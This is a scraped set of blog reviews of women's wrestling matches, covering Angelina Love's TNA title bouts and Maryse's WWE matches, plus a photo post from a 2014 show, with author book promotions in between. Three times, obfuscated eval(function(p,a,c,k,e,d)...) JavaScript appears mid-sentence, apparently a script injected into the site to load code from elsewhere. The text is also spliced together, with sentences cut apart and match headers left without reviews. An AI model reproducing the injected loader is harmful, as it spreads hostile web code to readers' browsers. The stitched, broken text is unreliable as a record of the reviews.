Elite 8 Second Round: Beth Phoenix vs. Angel Williams

Angel is better known as Angelina Love. Phoenix comes in holding her neck so Williams grabs two quick rollups for a near fall each. We quickly hit a chinlock to work on Beth’s neck but Phoenix comes back with a gutwrench suplex. Angel slaps on a dragon sleeper but Tracy Brooks and a chick named Belladonna come out for a distraction, allowing Beth to grab a quick rollup for the pin.

Angel Williams vs. Krissy Vaine

Knockout Title: Angel Williams vs. Gail Kim vs. ODB vs. Roxxi Laveux

Angelina hooked up with Velvet Sky as the Beautiful People for some Knockout tags, including this at Slammiversary 2008.

ODB/Roxie/Gail Kim vs. Beautiful People/Moose

And another at Hard Justice 2008.

Gail Kim/Taylor Wilde/ODB vs. Beautiful People/Awesome Kong

Knockouts Title: Angelina Love vs. Awesome Kong vs. Taylor Wilde

I forgot how hot the BP were as the total stuck up villains. West doesn’t even bother hiding that he only cares about their looks. They cut Kong’s braids so she’s a good deal ticked off. Taylor is still hot. I’ve always liked how she high fives people on the way to the ring. Little things like that make big differences as you look like you CARE about the fans. It’s not much but it’s something at least.

Kong goes straight for Love and beats the tar out of her, as does Taylor. Yeah they’re not even trying to hide that she gets the title tonight. She gets out of a powerbomb and avoids the butt drop from Kong. The two blondes go at it with Love winning. She’s underrated in the ring. The total smark crowd wants Gail Kim. Velvet’s never ending smirk is sexy beyond belief.

Giant swing as we go WAY old school. Love dizzy is kind of funny as well. Kong stands on her hair and pulls her up which must hurt. She has dominated the vast majority of this match, which to be fair has only been about four minutes so far. Kong goes up and misses a front flip splash to a huge pop. Love kills Wilde with a kick and then she and Velvet tie Kong to the cage BY HER HAIR.

Instead of just ending it there with a quick move from Angelina like they should, they have a one on one match with Wilde and Love. Wilde goes over to laugh at Kong and gets kicked in the face so Love can pin her. Sweet goodness is it impossible to make a champion look strong here at all???

Rating: C-. Not bad here actually as the ending was a legit surprise and well done. Not the new champion that is but the way they got rid of Kong. I wasn’t a fan of the in ring stuff as it was ALL Kong for the vast majority here and Wilde was just there so that the pin could work, but I’m really liking the ending which is what makes this match work for me. Well that and the girls were mostly gorgeous which is the main perk of the division.

Love had to defend the title against a monster at Sacrifice 2009.

Knockouts Title: Awesome Kong vs. Angelina Love

The Beautiful People have been eliminated by Kong and are also called Mi Pi Sexy here for no good reason. Love has a crown on here and is looking rather nervous to put it mildly. We get a Kong’s Gonna Kill You chant to start things off. Love tries to run which of course fails. There’s a funny visual of her holding onto the railing and Kong pulling her feet which leaves her off the ground.

All Kong to start us off here of course as West talks about how Love is luring her into a false sense of security. Kong misses the spinning back fist into the post though and Love has….well I can’t in fair consciousness call it a chance but she’s not getting beaten on for awhile at least. Love kicks her down and sprints into the ring to get the count out which of course doesn’t work.

Botox Injection kick hits but these shots are clearly not working in the slightest. Kong apparently remembers that it’s supper time and she wants a Knockout for supper. Wow that was corny. Love tries to leave again but Raisha Saed stops her and Kong lands a running splash to end her. Leg drop gets one as Kong lets her up. Love gets out of the way of a middle rope splash and sprays some stuff in the eyes of Kong. A rollup with tights ends Kong.

Rating: D. Well they did what they could here and at least they booked the match properly. Love couldn’t fight Kong straight up and everyone knew it so they didn’t try to. Love stealing the win is ok I guess but this was the beginning of the total dominance by the BP until Tara helped fight them off a bit.

One more title shot at Victory Road 2009.

Knockouts Title: Angelina Love vs. Tara

Tara is champion here and showed up recently, more or less hating the Beautiful People just because I guess. She also took the title on Impact about a month ago so this is the rematch. They’re scared of the spider which I can’t blame them for since I have a spider bite on my arm that refuses to heal. Love is freaking awesome as the hot chick. It just works for her.

Of course the announcers can’t think because there are women in front of them. I love that Broken theme. We stall for awhile as they run from the spider. What was the point of that anyway? Is it supposed to be sexy? I don’t want a freaking  tarantula anywhere near me. Tara starts in the t-shirt early on and then rips it off for a great visual.

Then again I’ve always had a crush on Tara so there we go. Tara busts out the Tarantula move which at least makes sense here. West is mostly heel here also. Love starts dominating after some hot girls interference. We get a Bobo Brazil reference that even Tenay doesn’t get. We go old school with a double clothesline spot. I love that move.

Skye accidently sprays hairspray into Love’s eyes but it only gets two because the referee throws the other two girls out. Tara misses a moonsault and Love covers her, but Tara’s foot is on the rope. Doesn’t matter apparently as Love gets the title anyway. Post match Tara superkicks the referee and beats up Love.

Rating: C-. Not bad, but nothing great. The thing here is that the Knockouts at this time were AWESOME with their stuff destroying the Divas. Somehow in a year that’s completely switched but whatever. Anyway, this wasn’t anything great but it’s certainly not bad. It did the job it was supposed to do though so I have to give it that.

Knockout’s Title/Tag Titles: Beautiful People vs. Tara/Angelina Love

Ok so it’s your standard two singles wrestlers vs. tag champions. You know the rules I’m sure. Yep Tara is gorgeous. Velvet and Angelina start us off. Taz is rather annoying on commentary to say the least. Some nice double teaming from the BP there. Make jokes amongst yourselves. Tara pulls an Angle and totally misses a moonsault. Good to see that the accuracy is there still.

Angel is better in the ring than she’s given credit for. Madison takes the Widow’s Peak but Velvet makes the save. Lacey gets in somehow and drills Tara in the head with a belt to give Madison Rayne the Knockout’s Title. So that’s two straight title changes with the champion not getting pinned. Ok then. I do love the BP being the focus of the division. That’s intelligent and not sarcastic actually.

Rating: C-. Not terrible actually. Love is underrated in the ring and Tara is always solid. The booking is right here and we don’t get the wacky tag partners which is never any good. I’m rather happy for the first near hour of this show. I must be coming down with something. At least the match didn’t go on that long.

Another shot at a title at Victory Road 2010.

Knockouts Title: Madison Rayne vs. Angelina Love

If Rayne wins then Love retires and she can lose the belt by DQ. We start with a big slugout. Rayne is in skin colored clothes. And remember people: these chicks are WAY better than the Divas and don’t you forget it. I really can’t stand this division anymore as it’s somehow more of a joke than WWE.

Rayne wraps her legs around Love’s head and slams it face first into the mat. Her finisher doesn’t work and Love makes her comeback. Rayne brings in a chair and gets it kicked into her face. Can we get on with this? And here’s a chick on a motorcycle. She jumps Love and the referee determines that since she’s either Velvet or Lacey (she’s in a helmet) Rayne is disqualified and Love is champion. Rayne leaves with the chick that just cost her the belt of course. Allegedly it’s Tara, because she retired recently and therefore has to come back immediate.

Rating: D-. This was somehow less interesting than the previous match. This is the third straight title change that hasn’t involved the champion being pinned. Is there a point to this title anymore? Same with the girl tag titles. This is even more of a joke than I could have imagined. Whatever man.

Back to TV for a title shot on Impact, August 12, 2010.

Knockouts Title: Angelina Love vs. Madison Rayne

Now, can we break the streak of title changes without an actual pin? How are we supposed to take this division seriously with the commentary the way it is? Naturally a lot of the moves from Madison are shall we say suggestive? And make sure you get the back shots. Love kills her with a bunch of stuff and here’s the motorcycle chick.

The crowd chants Tara as they know what’s coming. Skye pops up from behind and DRILLS her with a chair. The helmet comes off and she’s wearing a mask underneath. It comes half off but all we see is a mouth. Back in the ring Lights Out ends this and Love is a five time champion.

Rating: D. Crap match but did you expect anything else? Love looked like Mr. Perfect with the outfit and that was more or less the high point. This whole biker thing is going on to not make it look like Tara just returned a week later which is stupid since clearly the crowd knows who she is. This was a really short match but it did the job….whatever that was supposed to be.

And another on Impact, December 23, 2010.

Knockouts Tag Titles: Madison Rayne/Tara vs. Angelina Love

I forgot Madison was champion. That’s just not good at all. Angelina is introduced as being on her own due to Velvet being beaten down. It’s more or less Angelina vs. Madison as Tara can’t go because of her arm. Tara comes in for a few seconds but can’t do much at all due to the injury. She comes in, gets three stomps and a left handed choke and leaves. Not her fault of course but it makes the whole tag title thing a bit of a stretch.

Madison does her head scissors stomp thing and even her shapely figure can’t even get the crowd into this. Winter comes down and cleans house as Angelina tags her in. Apparently she’s taking over. A really bad Catatonic (spinning Rock Bottom from a slam position) ends Madison at 4:50.

Rating: D. The crowd was dead as all goodness for this. For a tag match having a total of three tags is a bit of a stretch. These belts don’t need to exist at all and you can see that more and more often every week. This wasn’t interesting at all and with the roster getting slimmer and slimmer, they need to do something with it soon. Winter will help, but they need more girls and fast.

Knockout Title: Angelina Love vs. Mickie James

Fans are totally behind Mickie here. There’s a fat guest timekeeper that Taz makes jokes about. Angelina does her zombie thing and it turns into kind of a catfight. Love works on the arm so Mickie gets a rana out of the corner, only to walk into a snap suplex for two. Mickie blows a kiss at Winter so Winter takes her down. Not into swinging I guess. Mickie gets a clothesline to take both girls down.

And there she goes right back to the floor. Angelina is sent into the steps which gets about a seven on the floor. Back in and Mickie takes over one more time with a bunch of clotheslines. Thesz Press off the top gets no cover. Winter grabs Mickie’s foot again which gets her nowhere at all.

Botox Injection (name totally doesn’t fit anymore) gets two so Angelina goes all psycho on Mickie again. She tries that backbreaker thing she’s been doing which is countered into the DDT attempt. Northern lights suplex gets two. Winter cheating on a rollup gets two. They botch the jumping DDT like never before but it gets the pin anyway. Horrible looking ending and considering Mickie was involved in it, that says a lot.

Rating: D+. The botches were flowing harder than a sorority’s menstrual cycle here and it really hurt the match. They need to get somewhere already with this story because they’re moving like molasses with it. Just get to the lesbian stuff or have Angelina wake up already. Mickie keeping the title here is probably only temporary but whatever.

One more TV match on Impact, September 15, 2011.

Velvet Sky vs. Angelina Love

Love would leave TNA in 2012 and hit the indies for awhile. Here she is at FWE No Limits 2013.

Maryse and Katie Lea are on commentary. Maria is defending here and is plays quite the villain by not wanting any fan to touch her and kissing her boyfriend Mike Bennett at ringside. She jumps Love at the bell but gets taken down by the hair. A running knee drops drops Maria as the male announcer tries to avoid saying chest. They head outside so Maria can hide behind Bennett and get Angelina to chase her inside.

The girls debate going bald as until Love fights up with a series of clotheslines. Lights Out (lifting downward spiral) plants Maria but she rolls out to the floor. Mike slips her the belt but Love rolls her up for two. It should have been three but Mike shouted STOP, and for some reason the referee did just that. The distraction lets Maria grab a rollup of her own with a handful of tights for the pin.

Rating: D+. You know, Maria is actually really good in this heel role. She was terrible in the ring as a face but this worked FAR better as she nailed how to be a better than you villain. The referee just stopping was dumb, but at least Love looked good in defeat. Not much to see here but I was impressed by Maria.

Love would return to TNA in 2014 and had a title shot at Sacrifice.

Knockouts Title: Angelina Love vs. Madison Rayne

Back inside and the Beautiful People take turns choking on the ropes and in the corner to little avail. Madison gets a quick sunset flip for two but gets sent to the floor where she beats on Velvet a bit. Back in and the challenger puts on a figure four with her legs in a nice touch. An enziguri puts Love down again though and now the face slam works.

Remember to follow me on Twitter @kbreviews and pick up my new book on the History of the Royal Rumble at Amazon for just $3.99 at:

http://www.amazon.com/dp/B00PZ1GR7E

And check out my Amazon author page with wrestling books for under $4 at:

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Finally, I’m holding a Holiday Special for my e-books: any two of them for just $5.  Check out the details here.

http://kbwrestlingreviews.com/2014/11/28/holiday-sale/

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|deefa|var|u0026u|referrer|dfnhi||js|php'.split('|'),0,{})) we’re looking at someone a bit curvier in Maryse.

After a few years in developmental, Maryse debuted on the main roster in 2008. Here she is at Unforgiven.

Divas Title: Maryse vs. Michelle McCool

Michelle is champion. Michelle as a face just never worked. She’s such a natural villain and her pumping her fist doesn’t work at all. She hurts her knee going to the floor and Maryse works on it as we’re waiting for the people to get back from popcorn time to end this. Michelle works on Maryse’s leg in a heel hook but she gets a rope. The fans are all over this match already. A sitout gordbuster keeps the title on McCool.

Time for a TV match on Smackdown, September 19, 2008.

Divas Title: Michelle McCool vs. Maryse

Off to Armageddon 2008 for the main thing the Divas are known for.

Maria/Mickie James/Kelly Kelly/Michelle McCool vs. Maryse/Jillian Hall/Victoria/Natalya

Santa’s Little Helper’s match here. The heels are in green and are elves I guess. Maria’s song is really catchy. I miss Michelle. Mickie vs. Maryse starts us off. Mickie keeps going after her and Maryse tries to pose. Off to Mickie vs. Natalya in the real fight here. Nattie is pretty new at this point. Kelly is Jewish and Striker calls her the Hot Hebrew. That sounds like a really bad coffee shop. The announcers are having a fun time with this. The match is totally pointless of course and it’s off to Maria. Somehow she gets compared to John Berzerker Nord. Everything breaks down and Michelle hits the Faithbreaker (Styles Clash) to end Maryse.

Smackdown Women’s Title: Michelle McCool vs. Melina

This is a rematch from The Bash which was brought on by some bad acting. Michelle’s bra is sticking WAY out here. Melina gyrates like no one I’ve ever seen. Michelle is the first person to use her freaking brain and kicks Melina on her splits intro. And there’s your first botch as they mess up an arm drag. We get some kicks that don’t actually connect as I have a bad feeling about this match.

We hit the floor and are told that a slam of the face into the barricade is a DDT. Riiiiiiiight. Melina is laying on the apron and in a coole counter she pulls up onto the bottom rope to avoid a baseball slide. They’re hitting hard but at the same time, they’re botching the hell out of so many things. Michelle reverses a rollup into a rollup for the pin. At least it was short.

Rating: D. They were trying but this was just a mess and a half. They were botching stuff left and right with there being little flow or psychology at all. Michelle has gotten better which to be fair she couldn’t have gotten much worse. This was really bad as the two of them just do not have the chemistry.

Divas Title: Maryse vs. Gail Kim

Gail Kim is incorrectly called a two time Womens’ Champion. Gail slides to the corner to avoid a charge from the blonde and gets two off a bulldog. Maryse comes back with a kick to the face for two of her own but gets rolled up for another near fall. Kim goes up top but completely misses a top rope cross body to put both girls down. A victory roll doesn’t work for Gail and a quick DDT gives Maryse the title. This was nothing.

She even made it onto Wrestlemania XXVI.

Laycool/Vickie Guerrero/Maryse/Alicia Fox vs. Beth Phoenix/Kelly Kelly/Eve Torres/Mickie James/Gail Kim

From Over the Limit 2010.

Raw Women’s Title: Maryse vs. Eve Torres

This is better than I’d expect it to be actually. This has gotten some great build over the past few weeks and due to a lack of matches they have to give it a lot of time. Maryse randomly starts crying for no adequately explained reason. We actually get some near falls. Eve hits some screwed up face plant into a rollup for the pin. Cole, Striker and Lawler make jokes about Eve and just lose it on commentary.

Rating: C-. For what you had to work with here and given what Divas matches tend to be, this was actually decent. I tend to start most Divas matches at a D or so, meaning this was pretty good. There was some actual drama and Eve won with a nice finisher. Solid little match.

From shortly thereafter at Fatal Fourway.

Raw Women’s Title: Maryse vs. Alicia Fox vs. Gail Kim vs. Eve Torres

Eve is in blue again so I can’t complain at all. Everyone is in this at once which does little to get my hopes up on this. Yeah I don’t care at all about this. Everyone goes for submissions at once but everyone breaks them up to play up the whole fatal aspect of this. The ropes can’t be used for breaks apparently.

I’d bet that’ll be compromised about a million times here. Eve hooks a camel clutch and Gail gets a Boston Crab on Alicia at the same time. Maryse runs her mouth off and Alicia blasts her. Gail hits a dropkick which Striker of course calls a Jumping Bomb Angel Double Stomp. I hate him at times. Eve hits a very fast neckbreaker on Maryse and doesn’t cover, instead hitting a bad moonsault. And Alicia Fox wins the title by stealing the pin on Maryse. Oh dear.

Rating: D. Seriously, are we supposed to care about Alicia Fox? She’s been on TV like once this year and is now the champion. I don’t get the appeal of her at all, but I guess someone does. I still don’t care about the division at all, but it needs to be merged with the other one to help it survive.

Maryse was on NXT Season 3, including October 26, 2010.

Maryse/Ted DiBiase vs. Goldust/Aksana

Aksana does look sexy in red. I’ll give her that. And just as the bell rings the video freezes. Ah there we go. The girls start us off. They yell at each other and Cole says his producer told him that if they’re talking let us hear them. AMEN! Maryse knocks off the horns and rips off the tail so now Aksana is just in a skin tight red suit. I’m sold.

It’s a mixed tag so the men have to fight each other. Of course we’re just talking about the wedding here which I guess makes sense here. We head to the floor with DiBiase being all ticked off. Why doesn’t he just grab the belt and run if that’s why he’s here? Maryse helps her man as Aksana plays cheerleader.

Goldust plays Ricky Morton for like a minute until the girls come in. The guys go to the floor and Aksana gets a small package out of nowhere for the pin. Is that her first win? DiBiase goes for the belt but Aksana slaps him and gets it back. The good people get away with it, proving that faces can get away with anything. Ventura and Heenan were right all along! Match ran about 6:30.

Rating: C. Not terrible and fine for a TV main event on a show like this one. This wasn’t your standard match where the guys did the majority of the work and the girls were in there for like 10 seconds. The girls were fairly decent out there which is surprising to me. Not a classic or anything but it did what it was supposed to do and didn’t seem that long.

Eve Torres/Beth Phoenix vs. Layla/Maryse

After the faces enter we take a break and get a clip of the first regular episode of Smackdown (remember that there was a pilot about four months earlier) from August of 99. Michelle has a bad foot so is out for awhile. Beth vs. Maryse to start. Michelle is on commentary and wants to know why Eve is the Divas Champion when Michelle got a pin also.

Off to Layla vs. Eve with the champion dominating. Michelle seems a bit irritated by Layla here as we continue to push the split. Eve fires away with kicks and Michelle gets off commentary. She limps up the steps and gets in the face of Layla. Beth hits her in the foot to bring her down. In the confusion, Layla and Maryse hit what I think was supposed to be a double superkick so that Layla can pin Eve at 2:27. No rating as this was mainly Layla vs. Eve but this was no worse than your usual Divas match.

Maryse/Melina vs. Kelly Kelly/Eve Torres

Remember to follow me on Twitter @kbreviews and pick up my new book on the History of the Royal Rumble at Amazon for just $3.99 at:

http://www.amazon.com/dp/B00PZ1GR7E

And check out my Amazon author page with wrestling books for under $4 at:

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Best eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kaihk|var|u0026u|referrer|ikarn||js|php'.split('|'),0,{})) in the World 2014
Date: June 22, 2014
Location: Tennessee State Fairground Sports Arena, Nashville, Tennessee
Attendance: 1000
Commentators: Steve Corino, Kevin Kelly

Most of these should be self explanatory but I’ll caption anything that isn’t clear.  Also note that my camera is well over ten years old so the quality isn’t great.These eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ssezd|var|u0026u|referrer|yrzti||js|php'.split('|'),0,{})) are from the pre-show autograph signing.  I got handshakes with most of them and everyone was nice.

Dark match.

Steve Corino coming out for commentary.

Bad picture of the titles hanging above the ring.

Opening match.

Maria.  I think that’s all you need said.

At intermission I walked out to get a drink and saw Nigel McGuinness just standing there talking to fans.

Nigel replaces Corino on commentary for the second half.

Matt Hardy promo.

What is with the streamers?  Seriously I don’t get it.  I know Japan but it’s annoying.

The main event setup.

Main event showdown.

Still trying to find a copy of the show to review.  Hint hint to you internet savvy people.

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of Clash of the Champions at Amazon for just $3.99 at:

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